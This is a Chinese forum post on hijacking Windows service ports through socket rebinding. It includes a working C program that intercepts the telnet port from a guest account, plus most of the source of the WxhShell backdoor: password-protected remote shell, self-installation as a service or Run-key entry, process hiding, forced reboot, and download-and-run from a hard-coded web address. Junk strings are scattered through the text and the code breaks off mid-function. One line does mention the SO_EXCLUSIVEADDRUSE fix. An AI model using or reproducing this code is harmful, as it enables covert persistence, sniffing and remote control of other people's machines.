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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }TTghE!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `rn/H;r!Z  
T~3{$  
  saddr.sin_family = AF_INET; if&bp ,  
+?)7 l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cW*v))@2  
5UQ {qm*Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); fqI67E$59  
)c11_1;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 daSe0:daJ  
]wid;<  
  这意味着什么?意味着可以进行如下的攻击: kZ5#a)U<  
f#ZM 2!^!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T<*)Cdid  
'w ,gYW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KS*,'hvY  
5t%8y!s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *EuX7LEu_  
l,o'J%<%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   dfFw6R  
c'Z=uL<Rm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 WWp MuB_G  
ho=!Yy  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qt L]x -O  
y[b 8rv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 EV( F!&  
n3p@duC4  
  #include )%^l+w+&  
  #include ~ky;[  
  #include KJ+6Y9b1  
  #include    0`E G-Hw  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6Amt75RY  
  int main() mh8fJ6j29N  
  { u[**,.Ecg  
  WORD wVersionRequested; D?dBm  
  DWORD ret; !H\;X`W|~D  
  WSADATA wsaData; # `^nmC/F  
  BOOL val; 1@Jp3wW  
  SOCKADDR_IN saddr; :E-$:\V0}k  
  SOCKADDR_IN scaddr; H4ie$/[$8  
  int err; d92Z;FWb  
  SOCKET s; eKOEOm+  
  SOCKET sc; BWxfY^,'&6  
  int caddsize; O7 ;=g!j  
  HANDLE mt; +6uf6&.@~  
  DWORD tid;   )h@PRDI_  
  wVersionRequested = MAKEWORD( 2, 2 ); 6:(s8e  
  err = WSAStartup( wVersionRequested, &wsaData ); o9}\vN0F  
  if ( err != 0 ) { {}s/p9F4  
  printf("error!WSAStartup failed!\n"); }.o.*N  
  return -1; AE:(:U\  
  } L;0 NR(b!  
  saddr.sin_family = AF_INET; {^1O  
   {m*lt3$k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g(pr.Dw6  
__b4dv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6 rnFXZ\  
  saddr.sin_port = htons(23); Md4Q.8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?EC\ .{  
  { '1D $ ;  
  printf("error!socket failed!\n"); 1 3 ]e< '  
  return -1; *IOrv)  
  } X| \`\[  
  val = TRUE; :;_}Gxx  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _GkLspSaU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f+9eB  
  { ;t*SG*Vi  
  printf("error!setsockopt failed!\n"); Gy \ ]j  
  return -1;  +rv##Z  
  } |m KohV qr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; LF7 }gQs ^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VEy]vr}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =6U5^+|d  
E#_/#J]UQn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) no8\Oees  
  { d0B`5#4  
  ret=GetLastError(); bit|L7*14  
  printf("error!bind failed!\n"); R[zN?  
  return -1; MH#Tp#RG  
  } IM1&g7Qs2  
  listen(s,2); =Fc]mcJ69  
  while(1) .I>rX#aNt  
  { oz=V|7,  
  caddsize = sizeof(scaddr); 'ge$}L}4  
  //接受连接请求 9 C)VW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f_)#  
  if(sc!=INVALID_SOCKET) s=:)!M.i  
  { 6hj[/O)E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [s$x"Ex  
  if(mt==NULL) J.R]) &CB  
  { MB;rxUbhe3  
  printf("Thread Creat Failed!\n"); nl}LT/N  
  break; "*HM8\  
  } :|9vMM^$  
  } 2->Lz  
  CloseHandle(mt); 8 SU0q9X.  
  } a+HK fK  
  closesocket(s); O#k; O*s'  
  WSACleanup(); {XIpH r  
  return 0; eGT&&Y  
  }   kBqgz| jE%  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^1~lnD~0  
  { F m:Ys](  
  SOCKET ss = (SOCKET)lpParam; hqln6m  
  SOCKET sc; Qw5-/p=t  
  unsigned char buf[4096]; &OJ?Za@p@)  
  SOCKADDR_IN saddr; hY!ek;/Gc  
  long num; vLxaZWr  
  DWORD val; 5/Qu5/  
  DWORD ret; "Bwz Fh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E{[Y8U1n  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   iDcTO}  
  saddr.sin_family = AF_INET; wlP3 XF?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o@N[O^Q V  
  saddr.sin_port = htons(23); 7vXP|8j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ll0y@@Iy  
  { C-A? mIC  
  printf("error!socket failed!\n"); 8Tg1 >q<  
  return -1;  K!ILO  
  } `D|])^"{  
  val = 100; vv&< 7[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p@O Ip  
  {  omg#[  
  ret = GetLastError(); Yr"Of*VNH  
  return -1; &[{sA;  
  } >yKz8SV#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QGI@5  
  { %0 {_b68x  
  ret = GetLastError(); ;%d<Uk?  
  return -1; U]}FA2  
  } eH7x>[lH.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Io*H}$Gf  
  { m#_Rv  
  printf("error!socket connect failed!\n"); qCI7)L`  
  closesocket(sc); \]4EAKJE  
  closesocket(ss); qpFxl  
  return -1; 7_PY%4T"  
  } QxG^oxU}  
  while(1) Uhr2"Nuuy  
  { $)@D(m,ybd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 h STcL:b   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 iS)-25M'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1#c Tk  
  num = recv(ss,buf,4096,0); qE2VUEv5Y  
  if(num>0) ROn@tW  
  send(sc,buf,num,0); IagM#}m@  
  else if(num==0) 6)0.q|Q  
  break; ;v\s7y  
  num = recv(sc,buf,4096,0); n%29WF6Zf  
  if(num>0) q 8sfG;)  
  send(ss,buf,num,0); 4v/MZ:%C`  
  else if(num==0) l!XCYg@67  
  break; @Ol(:{<  
  } t O.5  
  closesocket(ss); Ph]b6  
  closesocket(sc); f6K.F  
  return 0 ; vGlVr.)  
  } pTi7Xy!Cw  
T5|kO:CbHq  
q++\< \2  
========================================================== n_; s2,2r  
5PZ!ZO&  
下边附上一个代码,,WXhSHELL 0sU*3r?  
aL[6}U0(}  
========================================================== Y!oLNGY  
Lu6g`O:['  
#include "stdafx.h" ?e6>dNw  
O6/ vFEB  
#include <stdio.h> q\?p' i  
#include <string.h> `XH0S`B  
#include <windows.h> Z" ;q w  
#include <winsock2.h> G3:!]}  
#include <winsvc.h> ;AJQ2  
#include <urlmon.h> 8Yk*$RR9  
@%x2d1FS  
#pragma comment (lib, "Ws2_32.lib") nS3Aadm  
#pragma comment (lib, "urlmon.lib") d/yF}%0QI  
pD({"A.x9z  
#define MAX_USER   100 // 最大客户端连接数 MhCU; !  
#define BUF_SOCK   200 // sock buffer o$</At  
#define KEY_BUFF   255 // 输入 buffer l+ >eb  
JMt*GFd  
#define REBOOT     0   // 重启 OS; T;  
#define SHUTDOWN   1   // 关机 @ :Zk,   
%H\J@{f  
#define DEF_PORT   5000 // 监听端口 }NyQ<,+mq&  
u$^tRz9  
#define REG_LEN     16   // 注册表键长度 WN=0s  
#define SVC_LEN     80   // NT服务名长度 0D2I)E72o  
YX-~?Pl  
// 从dll定义API +={K -g7U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CR'%=N04^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Kw`CN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BZ:tVfg.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 131(0nl)=I  
T 'c39  
// wxhshell配置信息 B2j1G JEO  
struct WSCFG { -c]AS[(  
  int ws_port;         // 监听端口 ciODTq?  
  char ws_passstr[REG_LEN]; // 口令 3E*m.jX  
  int ws_autoins;       // 安装标记, 1=yes 0=no $2h%IK>#G  
  char ws_regname[REG_LEN]; // 注册表键名 E>]K#H  
  char ws_svcname[REG_LEN]; // 服务名 J6s]vV q"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -ymDRoi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -MS#YcsV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p" >*WQ   
int ws_downexe;       // 下载执行标记, 1=yes 0=no f/O6~I&g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e1-tpD:J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HuTtp|zM>  
SC~k4&xy  
}; HQ-+ +;Q  
ecs 0iW-,  
// default Wxhshell configuration +`GtZnt#  
struct WSCFG wscfg={DEF_PORT, 3:nBl?G<  
    "xuhuanlingzhe", %\<b{x# G  
    1, kd^H}k  
    "Wxhshell", w1"+HJd  
    "Wxhshell", U&WEe`XM  
            "WxhShell Service", -%"PqA/1zj  
    "Wrsky Windows CmdShell Service", V_gKl;Kfe8  
    "Please Input Your Password: ", 7C7.}U  
  1, =J]WVA,GqA  
  "http://www.wrsky.com/wxhshell.exe", D BHy%i  
  "Wxhshell.exe" 3U>-~-DS  
    }; ??p%_{QY~b  
U)bv,{-q  
// 消息定义模块 D;C';O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i$E [@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fYUV[Gm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d:';s~  
char *msg_ws_ext="\n\rExit."; r+Ki`HD%  
char *msg_ws_end="\n\rQuit."; 0mSP  
char *msg_ws_boot="\n\rReboot..."; "wOfs$w%s  
char *msg_ws_poff="\n\rShutdown..."; 2g{tzR_j  
char *msg_ws_down="\n\rSave to "; @ye!? %  
pjFO0h_Y  
char *msg_ws_err="\n\rErr!"; *7Q6b 4~"  
char *msg_ws_ok="\n\rOK!"; aL;!BlU8v  
2HFn\kjj.s  
char ExeFile[MAX_PATH]; =Hd yra  
int nUser = 0; u)0I$Tc"  
HANDLE handles[MAX_USER]; C")genMH  
int OsIsNt; 2 DW @}[G  
TsTc3  
SERVICE_STATUS       serviceStatus; uMg\s\Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GkJcd;  
[Iks8ZWr_  
// 函数声明 1.!U{>$  
int Install(void); >-A@6Qe_  
int Uninstall(void); |EE1S{!24m  
int DownloadFile(char *sURL, SOCKET wsh); lDYgt UKG  
int Boot(int flag); ~(d {j}M>  
void HideProc(void); |HK:\)L%  
int GetOsVer(void); _HUbE /  
int Wxhshell(SOCKET wsl); +Dy^4p?o  
void TalkWithClient(void *cs); 1Nt &+o  
int CmdShell(SOCKET sock); Ki;SONSV~|  
int StartFromService(void); E]`7_dG+T  
int StartWxhshell(LPSTR lpCmdLine); ?mg@zq8  
"Q.*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^AP8T8v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {z FME41>g  
"@UQSf,  
// 数据结构和表定义 OT{"C"%5t  
SERVICE_TABLE_ENTRY DispatchTable[] = lxL5Rit@Px  
{ 'Z`7/I4&  
{wscfg.ws_svcname, NTServiceMain}, 3xChik{  
{NULL, NULL} >aVgI<  
}; qNEp3WY:  
|u&cN-}C d  
// 自我安装 NHGTV$T`1  
int Install(void) PE%$g\#?  
{ V"4Z9Qg}  
  char svExeFile[MAX_PATH]; J$3g3%t  
  HKEY key; nYyhQX~]B  
  strcpy(svExeFile,ExeFile); #V!a<w4_  
dVQ[@u1,  
// 如果是win9x系统,修改注册表设为自启动 L^+rsxR  
if(!OsIsNt) { t7+A !7b{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ! xCo{U=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i5 rkP`)j  
  RegCloseKey(key); R+M&\ 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1-_r\sb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lzq/^&sc(  
  RegCloseKey(key); [oLV,O|s|j  
  return 0; ywa*?3?c  
    } x|6]+?l@6  
  } i>F=XE  
} .hl_zc#  
else { B 71/nt9  
L:G#>  
// 如果是NT以上系统,安装为系统服务 A]z*#+Sl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fvkcJwkc  
if (schSCManager!=0) qlO}=b/  
{ ?{ir$M  
  SC_HANDLE schService = CreateService $]2)r[eA)  
  ( {7NGfzwp;6  
  schSCManager, q-F K=r 5  
  wscfg.ws_svcname, `AJ[g>py^|  
  wscfg.ws_svcdisp, <L &EH@T  
  SERVICE_ALL_ACCESS, :L[>!~YG_n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #oUNF0L@6  
  SERVICE_AUTO_START, ~66xO9s  
  SERVICE_ERROR_NORMAL, OviS(}v4@  
  svExeFile, xnP!P2  
  NULL, J +6zV m  
  NULL, FwCb$yE#M  
  NULL, (`P\nnb  
  NULL, ]?Ef0?44  
  NULL .Mt3e c<  
  ); {0zn~+  
  if (schService!=0) \(o"/*  
  { ]R__$fl`8  
  CloseServiceHandle(schService); ^kez]>   
  CloseServiceHandle(schSCManager); @AsJnf$y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;XKe$fsa~?  
  strcat(svExeFile,wscfg.ws_svcname); r* *zjv>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )- C3z   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .Eao|;  
  RegCloseKey(key); d$dy6{/YD  
  return 0; zZ5:)YiW-  
    } ccD+AGM.  
  } m>>.N?  
  CloseServiceHandle(schSCManager); K5""%O+  
} P]_d;\ !"v  
} X#B b?Pv  
o2 14V\  
return 1; bx@l6bpQ  
} TJ|Jv8j<s  
8.E"[QktZ  
// 自我卸载 `8:0x?X  
int Uninstall(void) Vz{+3vfra6  
{ :2 ;Jo^6Se  
  HKEY key; gq?:n.;TY  
0XHQ 5+"8  
if(!OsIsNt) { NFK`,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y_]+;%w:  
  RegDeleteValue(key,wscfg.ws_regname); 5j%G7.S\  
  RegCloseKey(key); |{jT+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _T=g?0 q  
  RegDeleteValue(key,wscfg.ws_regname); nB[-KS  
  RegCloseKey(key); L * n K> +  
  return 0; cNs'GfD}  
  } tYS4"Nfb+  
} ]S|FK>U[  
} cs9^&N:w[  
else { " \$^j#o  
k$EVr([  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l6viP}R  
if (schSCManager!=0) V7ph^^sC}  
{ 8~sP{V%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &hCbXs=  
  if (schService!=0) iyskADS  
  { hy;VvAH 5  
  if(DeleteService(schService)!=0) { f)I5=Ijy(  
  CloseServiceHandle(schService); ;"3B,Yj  
  CloseServiceHandle(schSCManager); l,ENMKA^D  
  return 0; :5d>^6eoB?  
  } |(7}0]BP0  
  CloseServiceHandle(schService); BFLef3~.0  
  } *bkb-n Kw  
  CloseServiceHandle(schSCManager); 8v:{BHX  
} p!.~hw9  
} ^;C&  
gcLz}84  
return 1; V\V /2u5-  
} E?m~DYnU  
?Ua,ba*  
// 从指定url下载文件 8hRcB[F~S  
int DownloadFile(char *sURL, SOCKET wsh) O*yxOb*  
{ >rG>Bz^Pu  
  HRESULT hr; zF&VzNR2  
char seps[]= "/"; ?^|`A}q#  
char *token; :yay:3qv  
char *file; ^xo<$zn  
char myURL[MAX_PATH]; Bx\&7|,x  
char myFILE[MAX_PATH]; ZWs   
$KHm5*;nd  
strcpy(myURL,sURL); xn8K OwX%  
  token=strtok(myURL,seps); M  .#}  
  while(token!=NULL) ~zp8%lEe  
  { 3;nOm =I  
    file=token; ^:nc'C gP  
  token=strtok(NULL,seps); ZbnAAbfKH  
  } *MF9_V)8V  
 vSzpx  
GetCurrentDirectory(MAX_PATH,myFILE); ?H{[u rLn  
strcat(myFILE, "\\"); <}a?<):S  
strcat(myFILE, file);  :Mx  
  send(wsh,myFILE,strlen(myFILE),0); "gJ?LojB<  
send(wsh,"...",3,0); X -pbSq~5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Daf|.5>(@  
  if(hr==S_OK) b|#=kPVgL}  
return 0;  56.!L  
else 16NHzAQ  
return 1; H R>Y?B{  
Y\xEPh  
} \ovs[&  
g?j)p y  
// 系统电源模块 )'shpRB;1  
int Boot(int flag) obb%@S`  
{ }~FX!F#oU  
  HANDLE hToken; [-~pDkf:  
  TOKEN_PRIVILEGES tkp; ^z,3#gK  
D:P(;  
  if(OsIsNt) { Xfiwblg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y:G%p3h)[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ">V&{a-C4  
    tkp.PrivilegeCount = 1; Q3@zUjq_Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /A_:`MAZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `[ZswLE  
if(flag==REBOOT) { Z)!8a$M~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \"P{8<h.3  
  return 0; 84ij4ZYe  
} R'BB-  
else { K3&xe(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '%$Vmf)=  
  return 0; g 9,"u_  
} ?sfqg gi  
  } [ATJ! O  
  else { tE*BZXBlm  
if(flag==REBOOT) { I~,.@{4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *-VRkS-G  
  return 0; 5F kdGF  
} qxZIH  
else { 0U42QEG2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {Jn0G;  
  return 0; }'[>~&/"  
} #W\}v(Ke  
} \ o<ucp\J  
=VC18yA  
return 1; OGZD$j  
} Xv1vq -cM  
>$ q   
// win9x进程隐藏模块 <4r8H-(%  
void HideProc(void) _i_='dsyW/  
{ (j}7|*.  
'9\cIni0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .*zN@y3  
  if ( hKernel != NULL ) *g5bdQ:Av~  
  { t]K20(FSN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `[H^ `   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PMjNc_))  
    FreeLibrary(hKernel); U[C>Aoze  
  } 5|*{~O|  
d4o ^+\  
return; 2A_1E \  
} MQ,K%_m8  
IQ&PPC  
// 获取操作系统版本 WNR]GI  
int GetOsVer(void) a4:GGzt  
{ \'|n.1Fr  
  OSVERSIONINFO winfo; tN#C.M7.'7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C?qRZB+W#  
  GetVersionEx(&winfo); 6_mi9_w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h<9vm[.  
  return 1; 7FH(C`uKi  
  else n#!c!EfG  
  return 0; }s,NM%oI  
} 8}n< 3_  
0zW*JJxV  
// 客户端句柄模块 -YNpHd/;,  
int Wxhshell(SOCKET wsl) FjCGD4x1N  
{ rLTBBvV  
  SOCKET wsh; \$9C1@B@  
  struct sockaddr_in client; 2"&GH1  
  DWORD myID; \,S |>CPQ  
gvP-doA7W  
  while(nUser<MAX_USER) N~/ 'EaO  
{ z;JV3) E  
  int nSize=sizeof(client); @]qP:h.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); = l(euBb  
  if(wsh==INVALID_SOCKET) return 1; 1PY]Q{r  
zPnb_[YF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aRTy=~  
if(handles[nUser]==0) 're:_;lG  
  closesocket(wsh); FJn-cR.n  
else L<FXtBJ  
  nUser++; E{ /, b)  
  } /LFuf`bXV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |WB-Ng  
ixA.b#!1  
  return 0; kk fWiPO^  
} 'T eH(?3G  
|z)s9B;:#i  
// 关闭 socket W.3b]zcV  
void CloseIt(SOCKET wsh) x-i1:W9;  
{ 2^[dy>[y0  
closesocket(wsh); tz ;3  
nUser--; cWW?@ _  
ExitThread(0); UZ<K'H,q  
} ;JxL>K(  
"_/ih1z]  
// 客户端请求句柄 puPI ^6y%  
void TalkWithClient(void *cs) 97liSd  
{ dWz?`B{'  
k`5I"-e  
  SOCKET wsh=(SOCKET)cs; 1(p:dqGS  
  char pwd[SVC_LEN]; ///Lg{ ie  
  char cmd[KEY_BUFF]; 96w2qgc2  
char chr[1]; bK:U:vpYm  
int i,j; 0?54 8yH  
[9 MH"\  
  while (nUser < MAX_USER) { <vcU5 .K.  
xn*$Ty+  
if(wscfg.ws_passstr) { *2 Pr1U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3sr_V~cZ9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ||hQ*X<m>  
  //ZeroMemory(pwd,KEY_BUFF);  VAiJL  
      i=0; i q`}c |c  
  while(i<SVC_LEN) { "pkdZ   
a``|sn9  
  // 设置超时 }AS?q?4?  
  fd_set FdRead; {+9RJmZg  
  struct timeval TimeOut; Y w0,K&  
  FD_ZERO(&FdRead); I )mB]j  
  FD_SET(wsh,&FdRead); :)1"yo\  
  TimeOut.tv_sec=8; \%<M[r=  
  TimeOut.tv_usec=0; [wQ48\^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =}Tm8b0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sD3ZZcy|=  
vM/*S 6[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z3]I^i FI  
  pwd=chr[0]; 9gg{i6  
  if(chr[0]==0xd || chr[0]==0xa) { m!7%5=Fc  
  pwd=0; rZ?:$],U!  
  break; JpS}X\]i  
  } JP4DV=}L  
  i++; AW5iwq6p  
    } ~5,^CTAM  
MZGhN brd  
  // 如果是非法用户,关闭 socket l 5-[a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !<M eWo  
} o*Qa*<n  
?=&; A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oPi>]#X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1Ms]\<^j  
6qT@M0)i  
while(1) { N,TV?Q5l7  
R!dC20IMvH  
  ZeroMemory(cmd,KEY_BUFF); ZA="Dac  
9rEBq&  
      // 自动支持客户端 telnet标准   6U{A6hH]  
  j=0; T#B#q1/  
  while(j<KEY_BUFF) { dJR[9T_OF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vIpL8B86a  
  cmd[j]=chr[0]; VKttJok1  
  if(chr[0]==0xa || chr[0]==0xd) { m?(8T|i  
  cmd[j]=0; [rx9gOOa&  
  break; f=^xU P  
  } E7$&:xqx  
  j++; WJq>%<#  
    } vK!`#W`X  
g,d_  
  // 下载文件 kG D_w  
  if(strstr(cmd,"http://")) { rxyv+@~Nc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k ]NZ%.  
  if(DownloadFile(cmd,wsh)) P3"R2-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); * BM|luYL  
  else vX:}tir[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9[qOfIny  
  } d<-f:}^k0  
  else { D;YfQQr  
P}4&J ^  
    switch(cmd[0]) { .HZd.*  
  h,{Q%sqO  
  // 帮助 V&f*+!!2  
  case '?': { DvH-M3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W_B=}lP@x  
    break; g@#he95 }  
  } +RJ{)Nec  
  // 安装 0%bCP/  
  case 'i': { NQqw|3  
    if(Install()) )M0`dy{1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5t:Zp\$+`  
    else yX!fj\R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); == wX.y\.n  
    break; \dHqCQ  
    } !R@LC  
  // 卸载 gC?}1]9c  
  case 'r': { k'iiRRM  
    if(Uninstall()) J2qsZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (1z"=NCp  
    else ]({ -vG\m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5qrD~D '  
    break; b^HDN(v  
    } \=0;EI-j  
  // 显示 wxhshell 所在路径 ]1++$Ej  
  case 'p': { )|*Qs${tF  
    char svExeFile[MAX_PATH]; d7^ `  
    strcpy(svExeFile,"\n\r"); v_zt$bf{Y  
      strcat(svExeFile,ExeFile); <ww D*t  
        send(wsh,svExeFile,strlen(svExeFile),0); c+l1 l0BA  
    break; ZuGSRGX'  
    } KZ2[.[(Ph  
  // 重启 3A,N1OXG  
  case 'b': { WRZpu95v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }sxs-  
    if(Boot(REBOOT)) +Q+O$-a <  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8;gi8Y  
    else { [r`KoHwdm  
    closesocket(wsh); [WDzaRzd  
    ExitThread(0); =%|`gZ  
    } 2_pF#M9  
    break; #czI nXTTx  
    } jz f~n~  
  // 关机 Vq3NjN!+5  
  case 'd': { <.)=CK  
